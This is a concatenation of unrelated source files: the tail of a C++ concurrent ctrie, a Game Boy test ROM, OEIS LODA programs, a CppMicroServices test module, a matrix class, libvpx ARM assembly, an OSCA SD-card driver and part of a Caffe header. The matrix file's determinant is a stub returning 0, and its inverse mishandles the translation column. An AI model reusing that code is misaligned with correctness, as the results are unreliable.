if(i->gcas(this, ncn, ct)) {
res = &sn->v;
} else {
res = ctrie_query_result<V>::restart;
}
} else
res = ctrie_query_result<V>::not_found;
}
}
if(res == ctrie_query_result<V>::restart || res == ctrie_query_result<V>::not_found)
return res;
else {
if(parent != nullptr) {
auto n = i->gcas_read(ct);
if(auto tn = dynamic_cast<tnode<K, V, Hash, Alloc, Barrier>*>(n)) {
auto nonlive = n;
clean_parent:
auto pm = parent->gcas_read(ct);
if(auto cn = dynamic_cast<cnode<K, V, Hash, Alloc, Barrier>*>(pm)) {
uint64_t idx = (hc >> (lev - 6)) & ctrie<K, V, Hash, Alloc, Barrier>::hash_mask;
uint64_t flag = 1ULL << idx;
if((bmp & flag) != 0) {
uint64_t pos = population_count64(bmp & (flag - 1));
auto target = static_cast<branch<K, V, Hash, Alloc, Barrier>*>(arr[pos]);
if(target == i) {
if(auto tn = dynamic_cast<tnode<K, V, Hash, Alloc, Barrier>*>(nonlive)) {
auto ncn = updated_at(pos, tn->copy_untombed(), i->g)->to_contracted(lev - 6);
if(!parent->gcas(this, ncn, ct))
if(ct.rdcss_read_root()->g == start_gen)
goto clean_parent;
}
}
}
}
}
}
return res;
}
}
ctrie_query_result<V> lookup(ctrie<K, V, Hash, Alloc, Barrier>& ct,
K& k,
typename Hash::result_type hc,
int lev,
inode<K, V, Hash, Alloc, Barrier>* i,
inode<K, V, Hash, Alloc, Barrier>* parent,
gen start_gen)
{
uint64_t idx = (hc >> lev) & ctrie<K, V, Hash, Alloc, Barrier>::hash_mask;
uint64_t flag = 1ULL << idx;
if((bmp & flag) == 0) {
return ctrie_query_result<V>::not_found;
}
uint64_t pos = bmp == std::numeric_limits<decltype(bmp)>::max()
? idx : population_count64(bmp & (flag - 1));
return arr[pos]->lookup(ct, k, hc, lev, i, parent, this, start_gen);
}
void* derived_ptr()
{
return reinterpret_cast<void*>(this);
}
};
template <typename K,
typename V,
class Hash,
template <class> class Alloc,
template <class> class Barrier>
struct lnode : main_node<K, V, Hash, Alloc, Barrier> {
const plist<snode<K, V, Hash, Alloc, Barrier>, Alloc> contents;
lnode(std::initializer_list<snode<K, V, Hash, Alloc, Barrier>>& init)
: contents(init)
{}
lnode(plist<snode<K, V, Hash, Alloc, Barrier>, Alloc> contents_)
: contents(contents_)
{}
branch<K, V, Hash, Alloc, Barrier>* in_resurrect(inode<K, V, Hash, Alloc, Barrier>* in)
{
return in;
}
main_node<K, V, Hash, Alloc, Barrier>* removed(K& k) const
{
auto nl = contents.remove_first_by([&k](const snode<K, V, Hash, Alloc, Barrier>& sn) {
return sn.k == k;
});
if(nl.size() > 1)
return cons<Alloc, lnode<K, V, Hash, Alloc, Barrier>>(nl);
else
return cons<Alloc, tnode<K, V, Hash, Alloc, Barrier>>(&nl.car());
}
main_node<K, V, Hash, Alloc, Barrier>* inserted(K& k, V& v, typename Hash::result_type hc) const
{
auto nl = contents.push_front(snode<K, V, Hash, Alloc, Barrier>(k, v, hc));
return cons<Alloc, lnode<K, V, Hash, Alloc, Barrier>>(nl);
}
inline const V* get(K& k) const
{
auto ptr =
contents.find_first_by([&k](const snode<K, V, Hash, Alloc, Barrier>& sn) {
return sn.k == k;
});
if(ptr)
return &ptr->v;
else
return nullptr;
}
inline bool insert(ctrie<K, V, Hash, Alloc, Barrier>& ct,
K& k,
V& v,
typename Hash::result_type hc,
int,
inode<K, V, Hash, Alloc, Barrier>* i,
inode<K, V, Hash, Alloc, Barrier>*,
gen)
{
auto nn = inserted(k, v, hc);
return i->gcas(this, nn, ct);
}
ctrie_query_result<V> lookup(ctrie<K, V, Hash, Alloc, Barrier>&,
K& k,
typename Hash::result_type,
int,
inode<K, V, Hash, Alloc, Barrier>*,
inode<K, V, Hash, Alloc, Barrier>*,
gen)
{
return get(k);
}
ctrie_query_result<V> remove(ctrie<K, V, Hash, Alloc, Barrier>& ct,
K& k,
V* v,
typename Hash::result_type,
int,
inode<K, V, Hash, Alloc, Barrier>* i,
inode<K, V, Hash, Alloc, Barrier>*,
gen)
{
if(v == nullptr) {
auto optv = get(k);
auto nn = removed(k);
if(i->gcas(this, nn, ct))
return optv;
else
return ctrie_query_result<V>::restart;
} else {
if(auto v0 = get(k)) {
if(v0 == v) {
auto nn = removed(k);
if(i->gcas(this, nn, ct))
return v0;
else
return ctrie_query_result<V>::restart;
} else
return ctrie_query_result<V>::not_found;
} else
return ctrie_query_result<V>::not_found;
}
}
void* derived_ptr()
{
return reinterpret_cast<void*>(this);
}
};
template <typename K,
typename V,
class Hash,
template <class> class Alloc,
template <class> class Barrier = identity>
class inode_or_rdcss
{
public:
virtual ~inode_or_rdcss() {}
virtual void* derived_ptr() = 0;
private:
virtual inode<K, V, Hash, Alloc, Barrier>*
rdcss_commit(Barrier<std::atomic<inode_or_rdcss<K, V, Hash, Alloc, Barrier>*>>&,
ctrie<K, V, Hash, Alloc, Barrier>&,
bool) = 0;
friend class ctrie<K, V, Hash, Alloc, Barrier>;
};
template <typename K,
typename V,
class Hash,
template <class> class Alloc,
template <class> class Barrier = identity>
struct inode : branch<K, V, Hash, Alloc, Barrier>, inode_or_rdcss<K, V, Hash, Alloc, Barrier>
{
Barrier<std::atomic<main_node<K, V, Hash, Alloc, Barrier>*>> main;
const gen g;
inode()
: main(cons<Alloc, cnode<K, V, Hash, Alloc, Barrier>>(0, branch_vector<K, V, Hash, Alloc, Barrier>(), gen()))
{}
inode(const gen& g_)
: main(cons<Alloc, cnode<K, V, Hash, Alloc, Barrier>>(0, branch_vector<K, V, Hash, Alloc, Barrier>(), g_))
, g(g_)
{}
inode(main_node<K, V, Hash, Alloc, Barrier>* const& main_, const gen& g_)
: main(main_), g(g_)
{}
bool in_insert(ctrie<K, V, Hash, Alloc, Barrier>& ct,
K& k,
V& v,
typename Hash::result_type hc,
int lev,
inode<K, V, Hash, Alloc, Barrier>* i,
inode<K, V, Hash, Alloc, Barrier>* parent,
cnode<K, V, Hash, Alloc, Barrier>* caller,
gen start_gen)
{
if(start_gen == g) {
return ct.insert(this, k, v, hc, lev + 6, i, start_gen);
} else {
if(i->gcas(caller, caller->renewed(start_gen, ct), ct))
return caller->insert(ct, k, v, hc, lev, i, parent, start_gen);
else
return false;
}
}
void in_renewed(gen ngen,
ctrie<K, V, Hash, Alloc, Barrier>& ct,
Barrier<branch<K, V, Hash, Alloc, Barrier>*>& narr,
cnode<K, V, Hash, Alloc, Barrier>* cn)
{
narr.write(reinterpret_cast<void*>(cn), copy_to_gen(ngen, ct));
}
main_node<K, V, Hash, Alloc, Barrier>* in_to_contracted(bool& in_snode)
{
in_snode = false;
return nullptr;
}
inline inode<K, V, Hash, Alloc, Barrier>*
copy_to_gen(gen ngen, ctrie<K, V, Hash, Alloc, Barrier>& ct)
{
auto nmain = gcas_read(ct);
return cons<Alloc, inode<K, V, Hash, Alloc, Barrier>>(nmain, ngen);
}
inline main_node<K, V, Hash, Alloc, Barrier>*
gcas_commit(main_node<K, V, Hash, Alloc, Barrier>* m, ctrie<K, V, Hash, Alloc, Barrier>& ct)
{
begin:
prev_node<K, V, Hash, Alloc, Barrier>* p = m->prev.load(std::memory_order_relaxed);
auto r = ct.rdcss_read_root();
if(p == nullptr) {
return m;
}
if(auto ptr = dynamic_cast<failure<K, V, Hash, Alloc, Barrier>*>(p)) {
if(main.compare_exchange_strong(reinterpret_cast<void*>(this),
m,
ptr->prev,
std::memory_order_relaxed,
std::memory_order_relaxed))
{
return ptr->prev;
}
m = main.load(std::memory_order_relaxed);
goto begin;
} else {
if((r->g == g) && !ct.read_only) {
if(m->prev.compare_exchange_strong(reinterpret_cast<void*>(m->derived_ptr()),
p,
nullptr,
std::memory_order_relaxed,
std::memory_order_relaxed))
{
return m;
} else
goto begin;
} else {
auto pm = reinterpret_cast<main_node<K, V, Hash, Alloc, Barrier>*>(p);
auto pp = cons<Alloc, failure<K, V, Hash, Alloc, Barrier>>(pm);
m->prev.compare_exchange_strong(reinterpret_cast<void*>(m->derived_ptr()),
p,
pp,
std::memory_order_relaxed,
std::memory_order_relaxed);
m = main.load(std::memory_order_relaxed);
goto begin;
}
}
}
inline main_node<K, V, Hash, Alloc, Barrier>*
gcas_read(ctrie<K, V, Hash, Alloc, Barrier>& ct)
{
auto m = main.load(std::memory_order_relaxed);
if(!m->prev.load(std::memory_order_relaxed))
return m;
return gcas_commit(m, ct);
}
inline bool gcas(main_node<K, V, Hash, Alloc, Barrier>* old,
main_node<K, V, Hash, Alloc, Barrier>* n,
ctrie<K, V, Hash, Alloc, Barrier>& ct)
{
n->prev.store(reinterpret_cast<void*>(n->derived_ptr()),
old,
std::memory_order_relaxed);
if(main.compare_exchange_strong(reinterpret_cast<void*>(this),
old,
n,
std::memory_order_relaxed,
std::memory_order_relaxed))
{
gcas_commit(n, ct);
return n->prev == nullptr;
} else {
return false;
}
}
void clean(inode<K, V, Hash, Alloc, Barrier>* nd, ctrie<K, V, Hash, Alloc, Barrier>& ct, int lev)
{
auto m = nd->gcas_read(ct);
if(auto cn = dynamic_cast<cnode<K, V, Hash, Alloc, Barrier>*>(m))
nd->gcas(cn, cn->to_compressed(ct, lev, g), ct);
}
void compressed(ctrie<K, V, Hash, Alloc, Barrier>& ct,
Barrier<branch<K, V, Hash, Alloc, Barrier>*>& b,
cnode<K, V, Hash, Alloc, Barrier>* cn)
{
auto inodemain = gcas_read(ct);
assert(inodemain != nullptr);
b.write(reinterpret_cast<void*>(cn), resurrect(this, inodemain));
}
inode<K, V, Hash, Alloc, Barrier>* rdcss_commit(Barrier<std::atomic<inode_or_rdcss<K, V, Hash, Alloc, Barrier>*>>&,
ctrie<K, V, Hash, Alloc, Barrier>&,
bool)
{
return this;
}
ctrie_query_result<V> lookup(ctrie<K, V, Hash, Alloc, Barrier>& ct,
K& k,
typename Hash::result_type hc,
int lev,
inode<K, V, Hash, Alloc, Barrier>* i,
inode<K, V, Hash, Alloc, Barrier>* parent,
cnode<K, V, Hash, Alloc, Barrier>* cn,
gen start_gen)
{
if(ct.read_only || start_gen == g) {
return ct.lookup(this, k, hc, lev + 6, i, start_gen);
} else {
if(i->gcas(cn, cn->renewed(start_gen, ct), ct))
return ct.lookup(i, k, hc, lev, parent, start_gen);
else
return ctrie_query_result<V>::restart;
}
}
void* derived_ptr()
{
return reinterpret_cast<void*>(this);
}
};
template <typename K,
typename V,
class Hash,
template <class> class Alloc,
template <class> class Barrier>
struct rdcss_descriptor : public inode_or_rdcss<K, V, Hash, Alloc, Barrier>
{
Barrier<inode<K, V, Hash, Alloc, Barrier>*> ov;
Barrier<main_node<K, V, Hash, Alloc, Barrier>*> expected_main;
Barrier<inode<K, V, Hash, Alloc, Barrier>*> nv;
bool committed;
inode<K, V, Hash, Alloc, Barrier>* rdcss_commit(Barrier<std::atomic<inode_or_rdcss<K, V, Hash, Alloc, Barrier>*>>& root,
ctrie<K, V, Hash, Alloc, Barrier>& ct,
bool abort)
{
if(abort) {
inode_or_rdcss<K, V, Hash, Alloc, Barrier>* desc = this;
if(root.compare_exchange_strong(nullptr,
desc,
ov,
std::memory_order_relaxed,
std::memory_order_relaxed))
return ov;
else
return nullptr;
} else {
auto oldmain = ov->gcas_read(ct);
if(oldmain == expected_main) {
inode_or_rdcss<K, V, Hash, Alloc, Barrier>* desc = this;
if(root.compare_exchange_strong(nullptr,
desc,
nv,
std::memory_order_relaxed,
std::memory_order_relaxed))
{
committed = true;
return nv;
} else {
return nullptr;
}
} else {
inode_or_rdcss<K, V, Hash, Alloc, Barrier>* desc = this;
if(root.compare_exchange_strong(nullptr,
desc,
nv,
std::memory_order_relaxed,
std::memory_order_relaxed))
return ov;
else
return nullptr;
}
}
}
rdcss_descriptor(inode<K, V, Hash, Alloc, Barrier>* ov,
main_node<K, V, Hash, Alloc, Barrier>* expected_main,
inode<K, V, Hash, Alloc, Barrier>* nv)
: ov(ov), expected_main(expected_main), nv(nv), committed(false)
{}
void* derived_ptr()
{
return reinterpret_cast<void*>(this);
}
};
template <typename K,
typename V,
class Hash,
template <class> class Alloc,
template <class> class Barrier>
class ctrie {
private:
Barrier<std::atomic<inode_or_rdcss<K, V, Hash, Alloc, Barrier>*>> root;
bool read_only;
static const size_t hash_mask = 0x3f;
using hash_result_type = typename Hash::result_type;
friend struct cnode<K, V, Hash, Alloc, Barrier>;
friend struct inode<K, V, Hash, Alloc, Barrier>;
inline inode<K, V, Hash, Alloc, Barrier>* rdcss_commit(bool abort)
{
auto v = root.load(std::memory_order_relaxed);
inode<K, V, Hash, Alloc, Barrier>* ptr = nullptr;
while(!(ptr = v->rdcss_commit(root, *this, abort)));
return ptr;
}
bool rdcss_root(inode<K, V, Hash, Alloc, Barrier>* ov,
main_node<K, V, Hash, Alloc, Barrier>* expected_main,
inode<K, V, Hash, Alloc, Barrier>* nv)
{
auto desc = cons<Alloc, rdcss_descriptor<K, V, Hash, Alloc, Barrier>>(ov, expected_main, nv);
inode_or_rdcss<K, V, Hash, Alloc, Barrier>* ovv = ov;
if(root.compare_exchange_strong(nullptr,
ovv,
desc,
std::memory_order_relaxed,
std::memory_order_relaxed))
{
return rdcss_commit(false);
} else {
return false;
}
}
inline inode<K, V, Hash, Alloc, Barrier>* rdcss_read_root(bool abort = false)
{
auto r = root.load(std::memory_order_relaxed);
if(auto in = dynamic_cast<inode<K, V, Hash, Alloc, Barrier>*>(r)) {
return in;
} else {
return rdcss_commit(abort);
}
}
inline bool insert(inode<K, V, Hash, Alloc, Barrier>* i,
K& k,
V& v,
typename Hash::result_type hc,
int lev,
inode<K, V, Hash, Alloc, Barrier>* parent,
gen start_gen)
{
auto imain = i->gcas_read(*this);
return imain->insert(*this, k, v, hc, lev, i, parent, start_gen);
}
inline ctrie_query_result<V> lookup(inode<K, V, Hash, Alloc, Barrier>* i,
K& k,
typename Hash::result_type hc,
int lev,
inode<K, V, Hash, Alloc, Barrier>* parent,
gen start_gen)
{
auto imain = i->gcas_read(*this);
return imain->lookup(*this, k, hc, lev, i, parent, start_gen);
}
inline ctrie_query_result<V> remove(inode<K, V, Hash, Alloc, Barrier>* i,
K& k,
V* v,
typename Hash::result_type hc,
int lev,
inode<K, V, Hash, Alloc, Barrier>* parent,
gen start_gen)
{
auto imain = i->gcas_read(*this);
return imain->remove(*this, k, v, hc, lev, i, parent, start_gen);
}
ctrie(inode_or_rdcss<K, V, Hash, Alloc, Barrier>* root_, bool read_only_ = false)
: root(root_)
, read_only(read_only_)
{}
public:
ctrie()
: root(cons<Alloc, inode<K, V, Hash, Alloc, Barrier>>())
, read_only(false)
{}
ctrie(const ctrie& ct)
: root(ct.root.load(std::memory_order_relaxed))
, read_only(ct.read_only)
{}
ctrie snapshot()
{
begin:
auto r = rdcss_read_root();
auto expmain = r->gcas_read(*this);
if(rdcss_root(r, expmain, r->copy_to_gen(gen(), *this)))
return ctrie(r->copy_to_gen(gen(), *this));
else
goto begin;
}
inline bool is_read_only() const
{
return read_only;
}
inline void insert(K k, V v)
{
typename Hash::result_type hc = Hash()(k);
begin:
auto r = rdcss_read_root();
if(!insert(r, k, v, hc, 0, nullptr, r->g)) {
goto begin;
}
}
inline const V* remove(K k)
{
typename Hash::result_type hc = Hash()(k);
begin:
auto r = rdcss_read_root();
auto res = remove(r, k, nullptr, hc, 0, nullptr, r->g);
if(res != ctrie_query_result<V>::restart)
return res;
else
goto begin;
}
inline const V* lookup(K k)
{
typename Hash::result_type hc = Hash()(k);
begin:
auto r = rdcss_read_root();
auto res = lookup(r, k, hc, 0, nullptr, r->g);
if(res == ctrie_query_result<V>::restart)
goto begin;
else
return res;
}
static_assert(sizeof(typename Hash::result_type) == 8, "hash result type must have 64 bits.");
};
}
#endif
|
.size 8000
.text@48
jp lstatint
.text@100
jp lbegin
.data@143
c0
.text@150
lbegin:
ld a, 00
ldff(ff), a
ld a, 30
ldff(00), a
ld a, 01
ldff(4d), a
stop, 00
ld a, ff
ldff(45), a
ld b, 91
call lwaitly_b
ld hl, fe00
ld d, 10
ld a, d
ld(hl++), a
ld a, 08
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 0b
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 0e
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 28
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 2b
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 2e
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 48
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 4b
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 4e
ld(hl++), a
ld a, 40
ldff(41), a
ld a, 02
ldff(ff), a
xor a, a
ldff(0f), a
ei
ld a, 01
ldff(45), a
ld c, 41
ld a, 93
ldff(40), a
.text@1000
lstatint:
nop
.text@1097
ldff a, (c)
and a, 03
jp lprint_a
.text@7000
lprint_a:
push af
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
pop af
ld(9800), a
ld bc, 7a00
ld hl, 8000
ld d, a0
lprint_copytiles:
ld a, (bc)
inc bc
ld(hl++), a
dec d
jrnz lprint_copytiles
ld a, c0
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
xor a, a
ldff(69), a
ldff(69), a
ldff(43), a
ld a, 91
ldff(40), a
lprint_limbo:
jr lprint_limbo
.text@7400
lwaitly_b:
ld c, 44
lwaitly_b_loop:
ldff a, (c)
cmp a, b
jrnz lwaitly_b_loop
ret
.data@7a00
00 00 7f 7f 41 41 41 41
41 41 41 41 41 41 7f 7f
00 00 08 08 08 08 08 08
08 08 08 08 08 08 08 08
00 00 7f 7f 01 01 01 01
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 01 01 01 01
3f 3f 01 01 01 01 7f 7f
00 00 41 41 41 41 41 41
7f 7f 01 01 01 01 01 01
00 00 7f 7f 40 40 40 40
7e 7e 01 01 01 01 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 41 41 41 41 7f 7f
00 00 7f 7f 01 01 02 02
04 04 08 08 10 10 10 10
00 00 3e 3e 41 41 41 41
3e 3e 41 41 41 41 3e 3e
00 00 7f 7f 41 41 41 41
7f 7f 01 01 01 01 7f 7f
|
; A133082: Triangle read by rows: T(k,m) = dimension of shape space for k labeled points in R^m (1 <= k <= m-1, m >= 2).
; Submitted by Jamie Morken(s4)
; 0,1,2,2,4,5,3,6,8,9,4,8,11,13,14,5,10,14,17,19,20,6,12,17,21,24,26,27,7,14,20,25,29,32,34,35,8,16,23,29,34,38,41,43,44,9,18,26,33,39,44,48,51,53,54,10,20,29,37,44,50,55,59,62,64,65
lpb $0
add $1,1
sub $0,$1
lpe
add $1,1
mul $1,2
sub $1,$0
add $0,1
mul $0,$1
sub $0,2
div $0,2
|
; A157984: a(n) = n!/(7 * 20!).
; 3,66,1518,36432,910800,23680800,639381600,17902684800,519177859200,15575335776000,482835409056000,15450733089792000,509874191963136000,17335722526746624000,606750288436131840000,21843010383700746240000
add $0,21
seq $0,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters).
mul $0,8916100448256
div $0,455531972398999912105786736640000
mul $0,3
|
/*=============================================================================
Library: CppMicroServices
Copyright (c) German Cancer Research Center,
Division of Medical and Biological Informatics
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
=============================================================================*/
#include "usTestModuleBService.h"
#include <usModuleActivator.h>
#include <usModuleContext.h>
US_BEGIN_NAMESPACE
struct TestModuleImportedByB : public TestModuleBService
{
TestModuleImportedByB(ModuleContext* mc)
{
US_INFO << "Registering TestModuleImportedByB";
mc->RegisterService<TestModuleBService>(this);
}
};
class TestModuleImportedByBActivator : public ModuleActivator
{
public:
TestModuleImportedByBActivator() : s(0) {}
~TestModuleImportedByBActivator() { delete s; }
void Load(ModuleContext* context) override
{
s = new TestModuleImportedByB(context);
}
void Unload(ModuleContext*) override
{
}
private:
TestModuleImportedByB* s;
};
US_END_NAMESPACE
US_EXPORT_MODULE_ACTIVATOR(US_PREPEND_NAMESPACE(TestModuleImportedByBActivator))
|
#include "../header/int/Mat4.h"
#include "../header/int/Vector4.h"
#include "../header/ext/Vector3.h"
Mat4x4::Mat4x4(const Mat4x4& mat){
for(int i = 0; i < 4; i++){
for(int j = 0; j < 4; j++){
m[i][j] = mat.m[i][j];
}
}
}
Mat4x4::Mat4x4(float scale){
for(int i = 0; i < 4; i++){
for(int j = 0; j < 4; j++){
m[i][j] = (i==j? scale : 0);
}
}
}
Mat4x4 Mat4x4::operator*(const Mat4x4& param) const{
Mat4x4 result;
for(int i = 0; i < 4; i++){
for(int j = 0; j < 4; j++){
result.m[i][j] = DotProduct(GetRow(i), param.GetColumn(j));
}
}
return result;
}
Vector3 Mat4x4::operator*(const Vector3& param) const{
float vector[4] = {param.x, param.y, param.z, 1};
return Vector3( DotProduct(vector, m[0], 4),
DotProduct(vector, m[1], 4),
DotProduct(vector, m[2], 4));
}
Vector4 Mat4x4::operator*(const Vector4& param) const{
return Vector4( DotProduct(param, Vector4((float*)m[0])),
DotProduct(param, Vector4((float*)m[1])),
DotProduct(param, Vector4((float*)m[2])),
DotProduct(param, Vector4((float*)m[3])));
}
Vector4 Mat4x4::GetColumn(int index) const{
float col[4];
for(int i = 0; i < 4; i++){
col[i] = m[i][index];
}
return Vector4(col);
}
Vector4 Mat4x4::GetRow(int index) const{
return Vector4( (float*)m[index]);
}
Mat4x4 Mat4x4::GetTranspose() const{
Mat4x4 transpose;
for(int i = 0; i < 4; i++){
transpose.SetRow(i, GetColumn(i));
}
return transpose;
}
float Mat4x4::GetDeterminant() const{
return 0;
}
//NOTE: this makes the asusmption that the bottom row is [0,0,0,1],
//as it is in most cases
Mat4x4 Mat4x4::GetInverse() const{
float ulDet = m[0][0] * ( m[1][1] * m[2][2] - m[1][2] * m[2][1] )
- m[0][1] * ( m[1][0] * m[2][2] - m[1][2] * m[2][0] )
+ m[0][2] * ( m[1][0] * m[2][1] - m[1][1] * m[2][0] );
Mat4x4 res;
res.m[0][0] = ( m[1][1] * m[2][2] - m[1][2] * m[2][1] ) / ulDet;
res.m[1][0] = ( m[1][2] * m[2][0] - m[1][0] * m[2][2] ) / ulDet;
res.m[2][0] = ( m[1][0] * m[2][1] - m[1][1] * m[2][0] ) / ulDet;
res.m[0][1] = ( m[0][2] * m[2][1] - m[0][1] * m[2][2] ) / ulDet;
res.m[1][1] = ( m[0][0] * m[2][2] - m[0][2] * m[2][0] ) / ulDet;
res.m[2][1] = ( m[0][1] * m[2][0] - m[0][0] * m[2][1] ) / ulDet;
res.m[0][2] = ( m[0][1] * m[1][2] - m[0][2] * m[1][1] ) / ulDet;
res.m[1][2] = ( m[0][2] * m[1][0] - m[0][0] * m[1][2] ) / ulDet;
res.m[2][2] = ( m[0][0] * m[1][1] - m[0][1] * m[1][0] ) / ulDet;
Vector3 trans = (*this * Vector3()) * -1;
res.SetColumn(3, Vector4(trans.x, trans.y, trans.z, 1));
return res;
}
void Mat4x4::SetRow(int index, const Vector4& value){
m[index][0] = value.w;
m[index][1] = value.x;
m[index][2] = value.y;
m[index][3] = value.z;
}
void Mat4x4::SetColumn(int index, const Vector4& value){
m[0][index] = value.w;
m[1][index] = value.x;
m[2][index] = value.y;
m[3][index] = value.z;
}
float DotProduct(const Vector4& param1, const Vector4& param2){
return param1.w * param2.w
+ param1.x * param2.x
+ param1.y * param2.y
+ param1.z * param2.z;
}
float DotProduct(const float a[], const float b[], int length){
float total = 0;
for(int i = 0; i < length; i++){
total += (a[i] * b[i]);
}
return total;
} |
;
; Copyright (c) 2010 The WebM project authors. All Rights Reserved.
;
; Use of this source code is governed by a BSD-style license
; that can be found in the LICENSE file in the root of the source
; tree. An additional intellectual property rights grant can be found
; in the file PATENTS. All contributing project authors may
; be found in the AUTHORS file in the root of the source tree.
;
EXPORT |vp8_copy_mem8x8_v6|
; ARM
; REQUIRE8
; PRESERVE8
AREA Block, CODE, READONLY ; name this block of code
;void copy_mem8x8_v6( unsigned char *src, int src_stride, unsigned char *dst, int dst_stride)
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|vp8_copy_mem8x8_v6| PROC
;push {r4-r5}
stmdb sp!, {r4-r5}
;preload
pld [r0]
pld [r0, r1]
pld [r0, r1, lsl #1]
ands r4, r0, #7
beq copy_mem8x8_fast
ands r4, r0, #3
beq copy_mem8x8_4
;copy 1 byte each time
ldrb r4, [r0]
ldrb r5, [r0, #1]
mov r12, #8
copy_mem8x8_1_loop
strb r4, [r2]
strb r5, [r2, #1]
ldrb r4, [r0, #2]
ldrb r5, [r0, #3]
subs r12, r12, #1
strb r4, [r2, #2]
strb r5, [r2, #3]
ldrb r4, [r0, #4]
ldrb r5, [r0, #5]
strb r4, [r2, #4]
strb r5, [r2, #5]
ldrb r4, [r0, #6]
ldrb r5, [r0, #7]
add r0, r0, r1
strb r4, [r2, #6]
strb r5, [r2, #7]
add r2, r2, r3
ldrneb r4, [r0]
ldrneb r5, [r0, #1]
bne copy_mem8x8_1_loop
ldmia sp!, {r4 - r5}
;pop {r4-r5}
mov pc, lr
;copy 4 bytes each time
copy_mem8x8_4
ldr r4, [r0]
ldr r5, [r0, #4]
mov r12, #8
copy_mem8x8_4_loop
subs r12, r12, #1
add r0, r0, r1
str r4, [r2]
str r5, [r2, #4]
add r2, r2, r3
ldrne r4, [r0]
ldrne r5, [r0, #4]
bne copy_mem8x8_4_loop
ldmia sp!, {r4 - r5}
;pop {r4-r5}
mov pc, lr
;copy 8 bytes each time
copy_mem8x8_fast
;sub r1, r1, #8
;sub r3, r3, #8
mov r12, #8
copy_mem8x8_fast_loop
ldmia r0, {r4-r5}
;ldm r0, {r4-r5}
add r0, r0, r1
subs r12, r12, #1
stmia r2, {r4-r5}
;stm r2, {r4-r5}
add r2, r2, r3
bne copy_mem8x8_fast_loop
ldmia sp!, {r4-r5}
;pop {r4-r5}
mov pc, lr
ENDP ; |vp8_copy_mem8x8_v6|
END
|
;
; Old School Computer Architecture - SD Card driver
; Taken from the OSCA Bootcode by Phil Ruston 2011
; Port by Stefano Bodrato, 2012
;
; int sd_read_sector(struct SD_INFO descriptor, long sector, unsigned char *address);
;
; sd_card_info and card_select must be accessible,
; a good place to put them is in the vars declared in the CRT0 stub
;
; on exit: 0 if all OK or error code
;
; $Id: sd_read_sector_callee.asm,v 1.6 2017-01-03 00:27:43 aralbrec Exp $
;
PUBLIC sd_read_sector_callee
PUBLIC _sd_read_sector_callee
PUBLIC ASMDISP_SD_READ_SECTOR_CALLEE
EXTERN sd_card_info
EXTERN card_select
EXTERN sd_read_sector_main
EXTERN sd_set_sector_addr_regs
EXTERN sd_send_command_current_args
EXTERN sd_wait_data_token
EXTERN sd_deselect_card
INCLUDE "sdcard.def"
INCLUDE "target/osca/def/osca.def"
sd_read_sector_callee:
_sd_read_sector_callee:
pop af ; ret addr
pop hl ; dst addr
exx
pop hl ; sector pos lsb
pop de ; sector pos msb
pop ix ; SD_INFO struct
push af
.asmentry
; ptr to MMC mask to be used to select port
ld a,(ix+1) ; or any other hw dependent reference to current slot
ld (card_select), a
ld a,(ix+2)
ld (sd_card_info), a
scf
call sd_set_sector_addr_regs
ld a,CMD17 ; Send CMD17 read sector command
call sd_send_command_current_args
ld a,sd_error_bad_command_response
jr nz,read_end ; if ZF set command response is $00
call sd_wait_data_token ; wait for the data token
ld a,sd_error_data_token_timeout
jr nz,read_end ; ZF set if data token reeceived
;..............................................................................................
exx
call sd_read_sector_main
;..............................................................................................
read_end:
call sd_deselect_card ; Routines always deselect card on return
ld h,0
ld l,a
ret
DEFC ASMDISP_SD_READ_SECTOR_CALLEE = # asmentry - sd_read_sector_callee
|
#ifndef CAFFE_SOFTMAX_WITH_LOSS_LAYER_HPP_
#define CAFFE_SOFTMAX_WITH_LOSS_LAYER_HPP_
#include <vector>
#include "caffe/blob.hpp"
#include "caffe/layer.hpp"
#include "caffe/proto/caffe.pb.h"
#include "caffe/layers/loss_layer.hpp"
#include "caffe/layers/softmax_layer.hpp"
namespace caffe {
/**
* @brief Computes the multinomial logistic loss for a one-of-many
* classification task, passing real-valued predictions through a
* softmax to get a probability distribution over classes.
*
* This layer should be preferred over separate
* SoftmaxLayer + MultinomialLogisticLossLayer
* as its gradient computation is more numerically stable.
* At test time, this layer can be replaced simply by a SoftmaxLayer.
*
* @param bottom input Blob vector (length 2)
* -# @f$ (N \times C \times H \times W) @f$
* the predictions @f$ x @f$, a Blob with values in
* @f$ [-\infty, +\infty] @f$ indicating the predicted score for each of
* the @f$ K = CHW @f$ classes. This layer maps these scores to a
* probability distribution over classes using the softmax function
* @f$ \hat{p}_{nk} = \exp(x_{nk}) /
* \left[\sum_{k'} \exp(x_{nk'})\right] @f$ (see SoftmaxLayer).
* -# @f$ (N \times 1 \times 1 \times 1) @f$
* the labels @f$ l @f$, an integer-valued Blob with values
* @f$ l_n \in [0, 1, 2, ..., K - 1] @f$
* indicating the correct class label among the @f$ K @f$ classes
* @param top output Blob vector (length 1)
* -# @f$ (1 \times 1 \times 1 \times 1) @f$
* the computed cross-entropy classification loss: @f$ E =
* \frac{-1}{N} \sum\limits_{n=1}^N \log(\hat{p}_{n,l_n})
